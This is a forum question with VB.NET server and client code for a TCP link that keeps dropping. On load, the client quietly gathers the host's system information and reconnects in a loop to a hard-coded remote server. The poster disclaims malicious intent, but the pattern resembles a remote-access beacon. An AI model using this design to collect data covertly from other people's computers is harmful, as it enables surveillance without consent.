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Hello, I have a TCP connection code for client and server communication. It's not meant to be malware but it collects the clients computer information and then connects to the server.

It successfully "connects" but then immediately disconnects.
Here is the code for the server:

VB
Dim Listener As TcpListener
   Dim Client As TcpClient
   Dim ClientList As New List(Of ChatClient)
   Dim sReader As StreamReader
   Dim cClient As ChatClient
   Public Sub Doit()
       Listener.Start()
       Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener)
   End Sub
   Public Sub Start()
       Listener = New TcpListener(IPAddress.Any, myport)
       Dim th As New Thread(AddressOf Doit)
       th.IsBackground = True
       th.Start()
   End Sub
   Sub AcceptClient(ByVal ar As IAsyncResult)
       cClient = New ChatClient(Listener.EndAcceptTcpClient(ar))
       AddHandler (cClient.MessageRecieved), AddressOf MessageRecieved
       AddHandler (cClient.ClientExited), AddressOf ClientExited
       ClientList.Add(cClient)
       MsgBox("New connection from " & cClient.PublicIPAddress & "! Awaiting authentication...")
       Listener.BeginAcceptTcpClient(New AsyncCallback(AddressOf AcceptClient), Listener)
   End Sub
   Sub MessageRecieved(ByVal Str As String)
       Select Case Str.Split("@")(0)
           Case "1"
               Dim system As String = Str.Split("@")(1)
               MsgBox("The following client: " & system & " has disconnected.")
       End Select
   End Sub
   Sub ClientExited(ByVal Client As ChatClient)
       ClientList.Remove(Client)
       RemoveFromListview(Client.PublicIPAddress)
       MsgBox("The following client: " & Client.PublicIPAddress & " has disconnected.")
   End Sub
   Public Class ChatClient
       Public Event MessageRecieved(ByVal Str As String)
       Public Event ClientExited(ByVal Client As ChatClient)
       Private sWriter As StreamWriter
       Private Client As TcpClient
       Private PublicIP As String
       Public ReadOnly Property PublicIPAddress() As String
           Get
               If PublicIP = String.Empty Then
                   Try
                       Dim ipend As Net.IPEndPoint = Client.Client.RemoteEndPoint
                       If Not ipend Is Nothing Then
                           PublicIP = ipend.Address.ToString
                       End If
                   Catch ex As System.ObjectDisposedException
                       PublicIP = String.Empty
                   Catch ex As SocketException
                       PublicIP = String.Empty
                   End Try
               End If
               Return PublicIP
           End Get
       End Property
       Sub New(ByVal xclient As TcpClient)
           Client = xclient
           Client.GetStream.BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
       End Sub
       Private Sub Read()
           Try
               RaiseEvent MessageRecieved(New StreamReader(Client.GetStream).ReadLine)
               Client.GetStream.BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf Read), Nothing)
           Catch ex As Exception
               RaiseEvent ClientExited(Me)
           End Try
       End Sub
       Public Sub Send(ByVal Message As String)
           sWriter = New StreamWriter(Client.GetStream)
           sWriter.WriteLine(Message)
           sWriter.Flush()
       End Sub
   End Class

I removed the other case statements to save room.
Here is the code for the client:

VB
Public SS As String
    Dim Server As New TcpClient
    Dim Writer As StreamWriter
    Private Sub Startup() Handles MyBase.Load
                Dim System As Systemformation (its a sructure) = GetSystemInfo() (gets the info and puts it into a new structure)
                SS = System broken in to text pieces for sending
        Dim th As New Threading.Thread(AddressOf Connect)
        th.IsBackground = True
        th.Start()
    End Sub
    Private Sub Connect()
        Do Until Server.Connected = True
            Try
                Server = New TcpClient("my remote ip", CInt("my port"))
                Server.GetStream.BeginRead(New Byte() {0}, 0, 0, New AsyncCallback(AddressOf Read), Nothing)
            Catch
            End Try
        Loop
        Send("0@" & SS)
    End Sub
    Public Sub Read(ByVal ar As IAsyncResult)
        Try
            Dim a As New StreamReader(Server.GetStream)
            Dim str As String = a.ReadLine
            Server.GetStream.BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
        Catch
            Dim th As New Threading.Thread(AddressOf Connect)
            th.IsBackground = True
            th.Start()
            Exit Sub
        End Try
    End Sub
    Private Sub Send(ByVal Str As String)
        Try
            Writer = New StreamWriter(Server.GetStream)
            Writer.WriteLine(Str)
            Writer.Flush()
        Catch
        End Try
    End Sub


I have port forwarding all done and it works if I run the client and server on my own machine. If I run the client on another machine though It gives me a message box saying that it connected with the clients remote IP and at the same time it tells me it disconnected. The client never sends the system information. What is the problem?

Thank you in advance
Posted
Updated 5-Nov-11 18:03pm
v2
Comments
[no name] 6-Nov-11 9:52am    
I really need help with this :(
Can anyone help me?

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